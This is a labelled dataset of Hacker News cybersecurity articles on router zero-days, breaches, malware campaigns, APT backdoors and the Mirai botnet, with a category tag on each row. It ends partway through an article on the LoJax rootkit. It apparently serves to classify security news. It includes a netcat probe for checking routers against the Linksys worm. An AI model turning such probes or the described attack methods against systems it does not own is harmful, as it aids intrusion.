"Smartphones, A Perfect Cyber Espionage and Surveillance Weapon",https://thehackernews.com/2013/11/smartphones-perfect-cyber-espionage.html,"The use of mobile devices in government environments concerns the secret service of any states, cyber espionage more often exploits the mobile platforms.

Mobile devices are reason of great concern for governments, they have a great computational capability, huge memories to store our personal data, GPS to follow our movements and are equipped with a camera and microphone to increase our experience in mobility. The advent of monitoring apps like Mobistealth has already brought the possibility of using the aforementioned features to keep tabs on a target device irrespective of the geographic distance to light.

However, it has also raised red flags over the possibility of exploitation of such features by attackers for cyber espionage. The problem is well known to governments that are adopting necessary countermeasures especially following the recent revelations about the U.S. Surveillance program.

The UK Government has decided to ban iPads from the Cabinet over foreign eavesdropper fears, it has been requested Ministers to leave mobile in lead-lined boxes to avoid foreign governments to spy on top level government meetings.

The news is reported by the Mail on Sunday, after the Cabinet Office minister Francis Maude made a presentation using his iPads last week (about how the Government Digital Service might save the UK £2bn a year) the Downing Street security staff has dismissed the mobile device to prevent eavesdropping of ongoing discussions.
The measure was adopted to avoid that foreign security services infecting mobile devices are able to capture audio and data from victims, it is known that hostile actors like China, Russia and Iran have the ability to use mobiles in powerful spy tools.

Ministers belonging to sensitive government departments were recently issued with soundproof lead-lined boxes to guard and isolate their mobile devices during official meetings.

The precautions have been taken due the high concern caused by news that German Chancellor Angela Merkel's personal mobile has been spied by the NSA for years. My personal opinion it that it is not acceptable that the German Federal Intelligence Service has allowed everything, missing the adoption of appropriate protective measures like crypto mobile devices, protected landline and similar. Other governments already have approached the problem to adopt secure devices to prevent bugging and eavesdropping, the British foreign secretary William Hague confirmed his phone has been armored by GCHQ.

Just a week ago it was published the news that delegates at the G20 summit in Russia received malicious computer memory sticks used to serve a malware to spy on the participants and steal sensitive information, let's remember also that the information leaked on the NSA FoxAcid platform revealed the existence of spy tool kits RADON and DEWSPEEPER able to exploit victims via USB.

Herman Van Rompuy, the President of the European Council, ordered tests to be carried out on the memory sticks and the results are shocking:

'The USB pen drives and the recharging cables were able to covertly capture computer and mobile phone data,' a secret memo said.

Overseas, the situation does not change, even the US fear that the use of the mobile devices can cause them problems, The Department of Homeland Security and FBI warn public safety departments that their out-of-date Android devices are a security risk, but updating them is not always easy or simple.
The alert cited unspecified ""industry reporting"" that, ""44 percent of Android users are still using versions 2.3.3 through 2.3.7 (Gingerbread) which were released in 2011 and have a number of security vulnerabilities that were fixed in later versions.""
Google's own figures on its site for Android developers estimate that percentage at about a third less — 30.7 percent. But it also showed 21.7 percent using versions 4.0.3-4.0.4, called Ice Cream Sandwich, which is also out of date. Less than half – 45.1 percent – are using the latest OS, called Jelly Bean, and of that group, 36.6 percent are using 4.1, and only 8.5 percent are using 4.2, which is the latest OS.
The DHS/FBI document address principal cyber threats to out-of-date Android mobile devices, including SMS Trojans, Rootkits and fake Google Play Domains.

Despite the alert recommends regular updates, running an ""Android security suite"" and downloading apps only from the official Google Play Store, the update for Android devices can reveal several problems.

""There is a wide variety of Android OEM versions rolled out to a huge number of different handsets, and not all carriers and handset OEMs will allow you to upgrade to the latest version,"" ""So, the Android versions that can run are restricted per device. Even now it is possible to buy Gingerbread devices that cannot be upgraded to Jelly Bean."" said Mario de Boer, research director, Security and Risk Management Strategies at Gartner for Technical Professionals.

De Boer suggested that the only solution for now is to block the use of Android devices that are not running the latest OS.

""Apply admission control,""""If your Smartphones or tablet is running a vulnerable OS, you cannot get access to the specific service or data."" ""this is hard to accomplish for voice and text, and easier for email and access to files.""

The principal problem related to the use of mobile devices in government environment is that almost every Smartphone is not designed following severe requirements in term of corporate or government security, let's add that wrong user's habits aggravate the situation.

It needs a change or mobile devices should be excluded from sensitive contexts.

",Vulnerability
Oracle E-Business Suite Flaws Let Hackers Hijack Business Operations,https://thehackernews.com/2020/06/oracle-e-business-suite.html,"If your business operations and security of sensitive data rely on Oracle's E-Business Suite (EBS), make sure you recently updated and are running the latest available version of the software.

In a report released by enterprise cybersecurity firm Onapsis and shared with The Hacker News, the firm today disclosed technical details for vulnerabilities it reported in its integrated group of applications designed to automate CRM, ERP, and SCM operations for organizations.

The two vulnerabilities, dubbed ""BigDebIT"" and rated a CVSS score of 9.9, were patched by Oracle in a critical patch update (CPU) pushed out earlier this January. But the company said an estimated 50 percent of Oracle EBS customers have not deployed the patches to date.

The security flaws could be exploited by bad actors to target accounting tools such as General Ledger in a bid to steal sensitive information and commit financial fraud.

According to the researchers, ""an unauthenticated hacker could perform an automated exploit on the General Ledger module to extract assets from a company (such as cash) and modify accounting tables, without leaving a trace.""


""Successful exploitation of this vulnerability would allow an attacker to steal financial data and cause delays in any financial reporting related to the company's compliance processes,"" it added.

It's worth noting that the BigDebIT attack vectors add to the already reported PAYDAY vulnerabilities in EBS discovered by Onapsis three years ago, following which Oracle released a series of patches as late as April 2019.

Targeting General Ledger for Financial Fraud

Tracked as CVE-2020-2586 and CVE-2020-2587, the new flaws reside in its Oracle Human Resources Management System (HRMS) in a component called Hierarchy Diagrammer that enables users to create organization and position hierarchies associated with an enterprise. Together, they can be exploited even if EBS customers have deployed patches released in April 2019.

""The difference is that with these patches, it is confirmed that even with the systems up to date are vulnerable to these attacks, and therefore need to prioritize the installation of January's CPU,"" the company had stated in a note posted back in January.


One consequence of these bugs, if left unpatched, is the possibility of financial fraud and confidential information theft by attacking a firm's accounting systems.

Oracle General Ledger is an automated financial processing software that acts as a repository of accounting information and is offered as part of E-Business Suite, the company's integrated suite of applications — spanning enterprise resource planning (ERP), supply chain management (SCM), and customer relationship management (CRM) — that users can implement into their own businesses.

General Ledger is also used to generate corporate financial reports as well as carry out audits to ensure compliance with the SOX Act of 2002.

An attacker could break this trust by exploiting the flaws to modify critical reports in the ledger, including fraudulently manipulating transactions on a firm's balance sheets.

""For example, an attacker could modify the Trial Balance Report, which summarizes accounting balances in a given period, virtually unnoticed, resulting in inaccurately reported results flowing undetected into the financial statements. This could result in inaccurately filed or reported financial results,"" Onapsis said.

The Importance of Patching Critical Software

Given the financial risk involved, it is highly recommended that companies using Oracle EBS run an immediate assessment to ensure they are not exposed to these vulnerabilities, and apply the patches to fix them.

""Organizations need to be aware that current GRC tools and other traditional security methods (firewalls, access controls, SoD and others) would be ineffective against preventing this type of attack on vulnerable Oracle EBS systems,"" the researchers cautioned.

""If organizations have internet-facing Oracle EBS systems, the potential threat likelihood would be significantly magnified. Organizations under attack will be unaware of the attack and not know the extent of the damage until evidence is found by a very extensive internal or external audit.""

",Vulnerability
Researcher Discloses 10 Zero-Day Flaws in D-Link 850L Wireless Routers,https://thehackernews.com/2017/09/d-link-router-hacking.html,"A security researcher has discovered not one or two but a total of ten critical zero-day vulnerabilities in routers from Taiwan-based networking equipment manufacturer D-Link which leave users open to cyber attacks.

D-Link DIR 850L wireless AC1200 dual-band gigabit cloud routers are vulnerable to 10 security issues, including ""several trivial"" cross-site scripting (XSS) flaws, lack of proper firmware protection, backdoor access, and command injection attacks resulting in root access.

If successfully exploited, these vulnerabilities could allow hackers to intercept connection, upload malicious firmware, and get root privileges, enabling them to remotely hijack and control affected routers, as well as network, leaving all connected devices vulnerable to cyber attacks as well.

These zero-day vulnerabilities were discovered by Pierre Kim—the same security researcher who last year discovered and reported multiple severe flaws in D-Link DWR-932B LTE router, but the company ignored the issues.

The same happened in February, when the researcher reported nine security flaws in D-Link products but disclosed the vulnerabilities citing a ""very badly coordinated"" disclosure with D-Link.

So, Kim opted to publicly disclose the details of these zero-day flaws this time and published their details without giving the Taiwan-based networking equipment maker the chance to fix them.

Here's the list of 10 zero-day vulnerabilities affect both D-Link 850L revision A and revision B Kim discovered:

Lack of proper firmware protection—since the protection of the firmware images is non-existent, an attacker could upload a new, malicious firmware version to the router. Firmware for D-Link 850L RevA has no protection at all, while firmware for D-Link 850L RevB is protected but with a hardcoded password.
Cross-site scripting (XSS) Flaws—both LAN and WAN of D-Link 850L RevA is vulnerable to ""several trivial"" XSS vulnerability, allowing an attacker ""to use the XSS to target an authenticated user in order to steal the authentication cookies.""
Retrieve admin passwords—both LAN and WAN of D-Link 850L RevB are also vulnerable, allowing an attacker to retrieve the admin password and use the MyDLink cloud protocol to add the user's router to the attacker's account to gain full access to the router.
Weak cloud protocol—this issue affects both D-Link 850L RevA and RevB. MyDLink protocol works via a TCP tunnel that use no encryption at all to protect communications between the victim's router and the MyDLink account.
Backdoor Access—D-Link 850L RevB routers have backdoor access via Alphanetworks, allowing an attacker to get a root shell on the router.
Private keys hardcoded in the firmware—the private encryption keys are hardcoded in the firmware of both D-Link 850L RevA and RevB, allowing to extract them to perform man-in-the-middle (MitM) attacks.
No authentication check—this allows attackers to alter the DNS settings of a D-Link 850L RevA router via non-authenticated HTTP requests, forward the traffic to their servers, and take control of the router.
Weak files permission and credentials stored in cleartext—local files are exposed in both D-Link 850L RevA and RevB. In addition, routers store credentials in clear text.
Pre-Authentication RCEs as root—the internal DHCP client running on D-Link 850L RevB routers is vulnerable to several command injection attacks, allowing attackers to gain root access on the affected devices.
Denial of Service (DoS) bugs—allow attackers to crash some daemons running in both D-Link 850L RevA and RevB remotely via LAN.

Kim advised users to cut the connections with the affected D-Link router in order to be safe from such attacks.

According to Kim, ""the Dlink 850L is a router overall badly designed with a lot of vulnerabilities. Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused.""

You can get full details of all 10 zero-day vulnerabilities on Kim's website as well as on security mailing lists.

The security of D-Link products has recently been questioned when the U.S. Federal Trade Commission, FTC sued the company earlier this year, alleging that the lax security left its products and therefore, ""thousands of consumers"" vulnerable to hackers.

",Vulnerability
40 Million Credit Card accounts affected in massive data breach at 'Target' Stores during Black Friday,https://thehackernews.com/2013/12/Target-Credit-Card-hacking-Data-breach.html,"If you have shopped something during the Black Friday weekend from Target's U.S based Retailer stores, then please pay serious attention - Your Credit and Debit card account may have been at Risk.
There are more than 1,500 Target stores throughout the U.S and 40 Million credit and debit card accounts of Target's customers may have been stolen during the height of the holiday shopping season, according to a statement published by the company.
Somehow thieves allegedly gained access to personal data in stores when customers swiped their cards at the register. That information is then typically sold to buyers who then make bogus debit or credit cards with it.
So the customers who made purchases by swiping their cards at terminals in its U.S. Stores between November 27 and December 15 may have been exposed. Krebs who broke the story reports that the breach does not impact shoppers who purchased items online.
Target has not disclosed exactly how the data breach occurred, but said that they have fixed the issue and credit card account holders can continue shopping at their stores. Sources told Krebs that the breach could be among the largest retail breaches in U.S. History.
""Whether or not you feel like you might be impacted by this breach, it's a really good idea, particularly around this time of year, to pay attention to what's on your debit and credit card statements.""
The US Secret Service is also investigating the breach, according to the Wall Street Journal. Target officials said customer who suspect unauthorized activity should contact Target at: 866-852-8680.

",Data_Breaches
"Friday's Massive DDoS Attack Came from Just 100,000 Hacked IoT Devices",https://thehackernews.com/2016/10/ddos-attack-mirai-iot.html,"Guess how many devices participated in last Friday's massive DDoS attack against DNS provider Dyn that caused vast internet outage?

Just 100,000 devices.

I did not miss any zeros.

Dyn disclosed on Wednesday that a botnet of an estimated 100,000 internet-connected devices was hijacked to flood its systems with unwanted requests and close down the Internet for millions of users.

Dyn executive vice president Scott Hilton has issued a statement, saying all compromised devices have been infected with a notorious Mirai malware that has the ability to take over cameras, DVRs, and routers.
""We're still working on analyzing the data but the estimate at the time of this report is up to 100,000 malicious endpoints,"" Hilton said. ""We are able to confirm that a significant volume of attack traffic originated from Mirai-based botnets.""
Mirai malware scans for Internet of Things (IoT) devices that are still using their default passwords and then enslaves those devices into a botnet, which is then used to launch DDoS attacks.

A day after the attack, Dyn confirmed that a botnet of Mirai malware-infected devices had participated in its Friday's Distributed Denial of Service attacks.

However, after an initial analysis of the junk traffic, just yesterday, the company revealed that it had identified an estimated 100,000 sources of malicious DDoS traffic, all originating from IoT devices compromised by the Mirai malware.

Earlier the company believed that approximately ""tens of millions"" of IP addresses were responsible for the massive attack against its crucial systems, but the actual number came out to be much much less, leaving all of us wondering, as:

How did the Attack Succeed to this Massive Level?

To this, Hilton said that Domain Name System protocol itself has the ability to amplify requests from legitimate sources.
""For example, the impact of the attack generated a storm of legitimate retry activity as recursive servers attempted to refresh their caches, creating 10-20X normal traffic volume across a large number of IP addresses,"" Hilton said. ""When DNS traffic congestion occurs, legitimate retries can further contribute to traffic volume.""
""It appears the malicious attacks were sourced from at least one botnet, with the retry storm providing a false indicator of a significantly larger set of endpoints than we now know it to be.""
Friday's cyber attack overwhelmed Dyn's central role in routing and managing Internet traffic, rendering hundreds of sites and services, including Twitter, GitHub, Amazon, Netflix, Pinterest, Etsy, Reddit, PayPal, and AirBnb, inaccessible to Millions of people worldwide for several hours.

Dyn did not disclose the actual size of the attack, but it has been speculated that the DDoS attack could be much bigger than the one that hit French Internet service and hosting provider OVH that peaked at 1.1 Tbps, which is the largest DDoS attack known to date.

According to the company, this attack has opened up an important debate about Internet security and volatility.
""Not only has it highlighted vulnerabilities in the security of 'Internet of Things' (IOT) devices that need to be addressed, but it has also sparked further dialogue in the Internet infrastructure community about the future of the Internet,"" Hilton said.

Next DDoS Attack could reach Tens Of Terabits-Per-Second

If the IoT security is not taken seriously, the future DDoS attack could reach tens of terabits-per-second, as estimated by network security firm Corero.

The DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size, following a discovery of a new zero-day attack vector that has the ability to amplify DDoS attacks by as much as 55x, Corero warned in a blog post published Tuesday.

According to the security firm, this new attack vector uses the Lightweight Directory Access Protocol (LDAP), which if combined with an IoT botnet, could break records in DDoS power.

Dave Larson of Corero explains:

""LDAP is not the first, and will not be the last, protocol or service to be exploited in this fashion. Novel amplification attacks like this occur because there are so many open services on the Internet that will respond to spoofed record queries. However, a lot of these attacks could be eased by proper service provider hygiene, by correctly identifying spoofed IP addresses before these requests are admitted to the network.""

You can read more on Corero's official website.

How to Protect your Smart Device from being Hacked

1. Change Default Passwords of your connected devices: If you have got any internet-connected device at home or work, change your credentials if it still uses default ones. Keep in mind; Mirai malware scans for default settings.

2. Disable Universal Plug-and-Play (UPnP): UPnP comes enabled by default in every IoT device, which creates a hole in your router's security, allowing malware to infiltrate any part of your local network.

Check for ""Universal Plug and Play"" features and turn them OFF.

3. Disable Remote Management through Telnet: Go into your router's settings and disable remote management protocol, specifically through Telnet, as this is a protocol used for allowing one computer to control another from a remote location. It has also been used in previous Mirai attacks.

4. Check for Software Updates and Patches: last but not the least, always keep your connected devices and routers up-to-date with the latest vendor firmware.

Check if your IoT device is vulnerable to Mirai malware
There is an online tool called Bullguard's IoT Scanner that can help you check if any IoT device over your network is vulnerable to Mirai malware.

If it detects any, contact the device's manufacturer or lookout for a solution to patch those vulnerable gaps.

The tool makes use of the vulnerability scanning service Shodan for finding unprotected computers and webcams on your home network that are exposed to the public and potentially accessible to hackers.

",Cyber_Attack
Twitter Malware spotted in the wild stealing banking credentials,https://thehackernews.com/2013/04/twitter-malware-spotted-in-wild.html,"Trusteer researcher Tanya Shafir has recently identified an active configuration of TorRAT targeting Twitter users. Other than spreading ideas on the most popular social networks, now cyber criminals are spreading malware.
The malware launches a Man-in-the-Browser (MitB) attack through the browser of infected PCs, gaining access to the victim's Twitter account to create malicious tweets.

Because the malware creates malicious tweets and sends them through a compromised account of a trusted person or organization being followed, the tweets seem to be genuine. Those tweets contain malicious links and they read : ""Our new King William will earn even more than Beatrix. Check his salary"" or ""Beyonce falls during the Super Bowl concert, very funny!!!!""

At this time the attack is targeting the Dutch market. The malware spreading via the online social networking service, used as a financial malware to gain access to user credentials and target their financial transactions.


The attack is carried out by injecting Javascript code into the victim's Twitter account page. The malware collects the user's authentication token, which enables it to make authorized calls to Twitter's APIs, and then posts new, malicious tweets on behalf of the victim.

Because it uses a new sophisticated approach to spear-phishing, so attack is particularly difficult to defend. ""This type of attack increases the need for enterprise exploit prevention technology: By blocking the exploitation of vulnerable endpoint user applications, like browsers, and preventing the malware download, exploit prevention technology stops the attack and prevents the malware from spreading and infecting more users,"" added the firm.

",Malware
"Oracle, other companies hacked by Social Engineering attack in #DefCon 19",https://thehackernews.com/2011/08/oracle-other-companies-hacked-by-social.html,"Oracle, other companies hacked by Social Engineering attack in #DefCon 19

A weekend contest from 4th August to 7th August , at the world's largest hacking convention in Las Vegas showed one reason why big corporations seem to be such easy prey for cyber criminals : their workers are poorly trained in security.

Reuters post the news about Hacking of Oracle and some more big Companies just by using Social Engineering in DefCon 19. Hackers taking part in the competition on Friday and Saturday found it ridiculously easy in some cases to trick employees at some of the largest U.S. companies to reveal information that can be used in planning cyber attacks against them.

A contestant pretended to work for a company's IT department and persuaded an employee to give him information on the configuration of her PC, data that could help a hacker decide what type of malware would work best in an attack. ""For me it was a scary call because she was so willing to comply,"" said Chris Hadnagy, one of the organizers of the contest at the Defcon conference in Las Vegas. ""A lot of this could facilitate serious attacks if used by the right people,"" Hadnagy said.

The company whose employees handed over the most data was Oracle Corp, according to Hadnagy. One of the world's largest software makers, Oracle got its start more than 30 years ago by selling secure databases to the Central Intelligence Agency. Oracle spokeswoman Deborah Hellinger declined comment.

Other targets included Apple Inc, AT&T Inc, ConAgra Foods Inc, Delta Air Lines Inc, Symantec Corp, Sysco Corp, United Continental Holdings Inc's United Airlines and Verizon Communications Inc. It was the second year that Defcon held a contest in ""Social engineering,"" or the practice where hackers con people into handing over information or taking actions such as downloading malicious software.

""It's better whenever you can get data non-confrontationally,"" said Johnny Long, a consultant who companies hire to hack into their data networks, using tools such as social engineering, to identify weaknesses.

Source: Reuters

",Malware
Researchers Disclose Undocumented Chinese Malware Used in Recent Attacks,https://thehackernews.com/2021/01/researchers-disclose-undocumented.html,"Cybersecurity researchers have disclosed a series of attacks by a threat actor of Chinese origin that has targeted organizations in Russia and Hong Kong with malware — including a previously undocumented backdoor.
Attributing the campaign to Winnti (or APT41), Positive Technologies dated the first attack to May 12, 2020, when the APT used LNK shortcuts to extract and run the malware payload. A second attack detected on May 30 used a malicious RAR archive file consisting of shortcuts to two bait PDF documents that purported to be a curriculum vitae and an IELTS certificate.
The shortcuts themselves contain links to pages hosted on Zeplin, a legitimate collaboration tool for designers and developers that are used to fetch the final-stage malware that, in turn, includes a shellcode loader (""svchast.exe"") and a backdoor called Crosswalk (""3t54dE3r.tmp"").
Crosswalk, first documented by FireEye in 2017, is a bare-bones modular backdoor capable of carrying out system reconnaissance and receiving additional modules from an attacker-controlled server as shellcode.
While this modus operandi shares similarities with that of the Korean threat group Higaisa — which was found exploiting LNK files attached in an email to launch attacks on unsuspecting victims in 2020 — the researchers said the use of Crosswalk suggests the involvement of Winnti.
This is also supported by the fact that the network infrastructure of the samples overlaps with previously known APT41 infrastructure, with some of the domains traced back to Winnti attacks on the online video game industry in 2013.
The new wave of attacks is no different. Notably, among the targets include Battlestate Games, a Unity3D game developer from St. Petersburg.
Furthermore, the researchers found additional attack samples in the form of RAR files that contained Cobalt Strike Beacon as the payload, with the hackers in one case referencing the U.S. protests related to the death of George Floyd last year as a lure.
In another instance, Compromised certificates belonging to a Taiwanese company called Zealot Digital were abused to strike organizations in Hong Kong with Crosswalk and Metasploit injectors, as well as ShadowPad, Paranoid PlugX, and a new .NET backdoor called FunnySwitch.
The backdoor, which appears to be still under development, is capable of collecting system information and running arbitrary JScript code. It also shares a number of common features with Crosswalk, leading the researchers to believe that they were written by the same developers.
Previously, Paranoid PlugX had been linked to attacks on companies in the video games industry in 2017. Thus, the deployment of the malware via Winnti's network infrastructure adds credence to the ""relationship"" between the two groups.
""Winnti continues to pursue game developers and publishers in Russia and elsewhere,"" the researchers concluded. ""Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS.""

",Malware
Microsoft PowerPoint Vulnerable to Zero-Day Attack,https://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html,"It seems that there is no end to the Windows zero-days, as recently Microsoft patched three zero-day vulnerabilities in Windows which were actively exploited in the wild by hackers, and now a new Zero-day vulnerability has been disclosed affecting all supported releases of Windows operating system, excluding Windows Server 2003.

Microsoft has issued a temporary security fix for the flaw and also confirmed that the zero-day flaw is being actively exploited by the hackers through limited, targeted attacks using malicious Microsoft PowerPoint documents sent as email attachments.

According to the Microsoft Security Advisory published on Tuesday, the zero-day resides within the operating system's code that handles OLE (object linking and embedding) objects. OLE technology is most commonly used by Microsoft Office for embedding data from, for example, an Excel spreadsheet in a Word document.

The vulnerability (designated as CVE-2014-6352) is triggered when a user is forced to open a PowerPoint files containing a malicious Object Linking and Embedding (OLE) object. For now on, only PowerPoint files are used by hackers to carry out attacks, but all Office file types can also be used to carry out same attack.
""The vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file that contains an OLE object. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user,"" the advisory explained.
By gaining same rights as a logged-in user, an attacker could infect victim's computer by installing other malicious programs on it. According to the software giant, some attacks that compromise accounts without administrator rights may pose less of a risk.

Microsoft has released a Fix it ""OLE packager Shim Workaround"" which will stop the known PowerPoint attacks. But it is not capable to stop other attacks that might be built to exploit this vulnerability. Also, the Fix it is not available for 64-bit editions of PowerPoint on x64-based editions of Windows 8 and Windows 8.1.

Meanwhile, Microsoft also urged Windows users to pay attention to the User Account Control (UAC) prompt, a pop-up alerts that require authorization before the OS is allowed to perform various tasks, which would warn a user once the exploit starts to trigger – asking permission to execute. But, users many times see it as an inconvenience and many habitually click through without a second thought.
""In observed attacks, User Account Control (UAC) displays a consent prompt or an elevation prompt, depending on the privileges of the current user, before a file containing the exploit is executed,"" Microsoft's advisory states.
Furthermore, Redmond didn't mention an out-of-band patch for the Zero-Day vulnerability, nor did it mention if a patch would be ready by November Security Patch update.

Earlier this month, Microsoft released eight security bulletins, as part of its monthly patch update, fixing three zero-day flaws at the same time. One of which (CVE-2014-4114) was discovered by iSight partners in all supported versions of Microsoft Windows and Windows Server 2008 and 2012 that was being exploited in the ""Sandworm"" cyberattack to penetrate major corporations' networks.

",Vulnerability
Feedly Android App Javascript Injection vulnerability exposes Millions of Users to Hackers,https://thehackernews.com/2014/04/feedly-android-app-javascript-injection.html,"When it comes to Android apps, even the simplest app could greatly compromise your privacy and security.

Injecting malicious JavaScript into Android applications has drawn an increased attention from the hacking community as its market share spikes. According to security researcher Jeremy S. from Singapore, a critical vulnerability in the Feedly app left millions of android app users vulnerable to the JavaScript infections.

Feedly is a very popular app available for iOS and Android devices, also integrated into hundreds of other third party apps, which offers its users to browse the content of their favourite blogs, magazines, websites and more at one place via RSS feed subscriptions. According to Google Play Store, more than 5 Million users have installed Feedly app into their Android devices.

In a blogpost, the researcher reported that Feedly is vulnerable to JavaScript injection attack, which is originally referred as 'cross-site scripting' or XSS vulnerability, allows an attacker to execute any JavaScript code on client-side. JavaScript is a widely used technology within the websites and web based applications, but it is use not only for the good purposes, but for the malicious purposes as well.

Feedly app was failed to sanitize the Javascript code written in the original articles on subscribed websites or blogs, that left millions of their feed subscribers open to the injection attacks. Researcher demonstrated that the vulnerability allows an attacker to execute the malicious JavaScript code within the Feedly app at the users' end. So, if a user browses an article via Feedly that might include the malicious javascript code, the users unknowingly give leverages to an attacker to carry out malicious activities against themselves.
""The android app does not sanitize JavaScript codes and interprets them as codes. As a result, allows potential attackers to perform JavaScript code executions on victim's Feedly android app session via a crafted blog post,"" the researcher wrote. He added, ""Attacks can take place only when user browses the RSS-subscribed site's contents via the Feedly android app.""

A malicious JavaScript injection allows an attacker to do a number of things, to modify or read cookies, temporarily edit web page contents, to modify web forms, to inject tracking codes or exploits codes in order to infect the Android users.

He discovered the vulnerability on 10th March and reported it to Feedly, which was then acknowledged by them and fixed on 17th March 2014. But they didn't mention any vulnerability fix in their change logs on Google Play Store. So, the users who have not enabled automated updates from Play Store, should manually update installed Feedly app as soon as possible.

To Subscribe 'The Hacker News' latest updates via Feedly - Click Here.

",Vulnerability
Linksys Malware 'The Moon' Spreading from Router to Router,https://thehackernews.com/2014/02/linksys-malware-moon-spreading-from.html,"Which Wireless Router do you have at your Home or Office? If it's a Linksys Router you could be in the danger to a new malware that attacks your firmware and replicates itself.

Security researcher Johannes B. Ullrich from the SANS Technology Institute has warned about a self-replicating malware which is exploiting authentication bypass and code-execution vulnerabilities in the Linksys wireless routers.

The Malware named as 'THE MOON', scans for other vulnerable devices to spread from router to router and Johannes confirmed that the malicious worm has already infected around 1,000 Linksys E1000, E1200, and E2400 routers.

In order to hack the Router, malware remotely calls the Home Network Administration Protocol (HNAP), allows identification, configuration and management of networking devices.

The Malware first request the model and firmware version of the router using HNAP and if the device founds vulnerable, it sends a CGI script exploit to get the local command execution access to the device.

Linksys's parent company has confirmed that HNAP1 implementation has a security flaw whose exploit code is publicly available on the Internet.

""There are about 670 different IP ranges that it scans for other routers. They appear to all belong to different cable modem and DSL ISPs. They are distributed somewhat worldwide),""

'To what extent this worm can be dangerous' is yet a question.
""We are still working on analysis what it exactly does. But so far, it looks like all it does is spread (which is why we call it a worm). It may have a 'call-home' feature that will report back when it infected new hosts.""

To verify that your device is vulnerable or not, use following command (depending on your OS):
echo [-e] ""GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n"" | nc routerip 8080
If you receive an XML HNAP reply, you are likely to be victimized for the worm affecting Linksys devices and some preventive measures are to be taken. Also keep an eye on the logs of port 80 and 8080.

Users are recommended to Disable Remote Administration of their device or limits the administration right to a limited number of trusted IP addresses.

",Vulnerability
"""Certifi-Gate"" Android Vulnerability Lets Hackers Take Complete Control of Your Device",https://thehackernews.com/2015/08/certifi-gate-android-vulnerability.html,"Android users are busy fighting with Stagefright vulnerability while the popular mobile operating system faces another critical security vulnerability, dubbed as ""Certifi-Gate"".

Millions of Android devices could be hacked exploiting a plugin that comes pre-installed on your Android devices by the manufacturers.

Most of the Android device manufacturers pre-install 'Remote Support Tool (mRST)' plugin onto their phones that are intended to help users, such as RSupport or TeamViewer.

But, a critical Certifi-Gate security vulnerability in this mRTS plugin allows malicious applications to gain illegitimate privileged access rights, even if your device is not rooted.

""Certifi-Gate"" Android security vulnerability

According to Israeli researchers at Check Point, Ohad Bobrov and Avi Bashan, Certifi-Gate Android vulnerability lies in the way Google's partners (manufacturers) use certificates to sign remote support tools.

Remote support tools often have root level access to Android devices, even if your device is not rooted. Thus any installed app can use Certifi-Gate vulnerability to gain unrestricted device access, including:
screen scraping
keylogging
exfiltrating private information
installing malware apps, and more

The flaw affects thousands of millions of Android devices, and users cannot uninstall the vulnerable plugin from the device because it is part of the core system…

...Ironic, huh?
""An attacker can exploit mRATs to exfiltrate sensitive information from devices such as location, contacts, photos, screen capture, and even recordings of nearby sounds."" Researchers explained in the published paper.
""While analyzing and classifying mRATs, our research team found some apps share common traits with mRST. Known mRAT players include HackingTeam, mSpy, and SpyBubble.""

Video Demonstration:
Android Smartphones and tablets running the latest version of Android (Lollipop) are also at risk.





Am I vulnerable to Certifi-Gate vulnerability?

Checkpoint released an app that detects if your Android device is vulnerable to the Certifi-Gate exploits and also reveals if any attacks have already been launched on the user's phone.

The annoying news is that the vulnerability may not go away anytime soon, because Android phone manufacturer companies are notoriously slow in releasing patches to users.

",Vulnerability
QR codes - Next way for Android Malware,https://thehackernews.com/2011/10/qr-codes-next-way-for-android-malware.html,"Once a user scans the QR code, the code redirects them to a site that will install a Trojan on their Android smart phones. Kaspersky's SecureList blog has a report of a malicious QR code on a web site which when scanned directs the user to a URL; the linked site doesn't have a file matching the name in the URL, but it does redirect the browser to another site where the file jimm.apk is downloaded.

The file is a trojanized version of the Jimm mobile ICQ client, infected with Trojan-SMS.AndroidOS.Jifake.f which sends a number of SMS messages to a $6 a message premium rate service.

Once installed, the Trojan will send a number of SMS messages to premium-rate numbers, which will end up costing the victim some money, depending on how quickly she is able to find and remove the Trojan.

Kaspersky's Denis Maslennikov reports that the malware itself is a Trojanized Jimm application (mobile ICQ client) which sends several SMS messages to premium rate number 2476 (US$6.00 each).

",Vulnerability
"NSA infected more than 50,000 computer networks with Malware",https://thehackernews.com/2013/11/nsa-infected-more-than-50000-computer.html,"The NSA has the ability to trace ""anyone, anywhere, anytime"". In September we reported that how NSA and GCHQ planted malware via LinkedIn and Slashdot traffic to hack largest telecom company Belgacom's Engineers.

Yesterday, a Dutch newspaper has published a new secret NSA document provided by former intelligence employee Edward Snowden.
According to the newly exposed slide, NSA has infected more than 50,000 computer networks worldwide with software designed to steal sensitive information i.e. Malware.

The slide from the NSA's 2012 management presentation, shows a world map with more than 50,000 targeted locations, uses a procedure called 'Computer Network Exploitation' (CNE) that can secretly install malware in computer systems. The malware can be controlled remotely and be turned on and off at will.

From the NSA website we found that, CNE includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks.

""Cyberwar is a very real threat and could cause widespread problems. That is why the National Security Agency needs to be prepared by Computer Science professionals who are highly-skilled in Computer Network Operations."" The website says.

To perform such offensive attacks via CNE operations, NSA has employed more than a thousand hackers under a special unit called TAO (Tailored Access Operations). Countries targeted by the CNE hackers unit includes China, Russia, Venezuela and Brazil.

Many Counties now have their own Cyber units - including China and Dutch, but their actions are prohibited by law. Officially they cannot perform operations as the NSA and GCHQ can do.

",Malware
Cybersecurity Researchers Spotted First-Ever UEFI Rootkit in the Wild,https://thehackernews.com/2018/09/uefi-rootkit-malware.html,"Cybersecurity researchers at ESET have unveiled what they claim to be the first-ever UEFI rootkit being used in the wild, allowing hackers to implant persistent malware on the targeted computers that could survive a complete hard-drive wipe.

Dubbed LoJax, the UEFI rootkit is part of a malware campaign conducted by the infamous Sednit group, also known as APT28, Fancy Bear, Strontium, and Sofacy, to target several government organizations in the Balkans as well as in Central and Eastern Europe.

Operating since at least 2007, Sednit group is a state-sponsored hacking group believed to be a unit of GRU (General Staff Main Intelligence Directorate), a Russian secret military intelligence agency. The hacking group has been associated with a number of high profile attacks, including the DNC hack just before the U.S. 2016 presidential election.

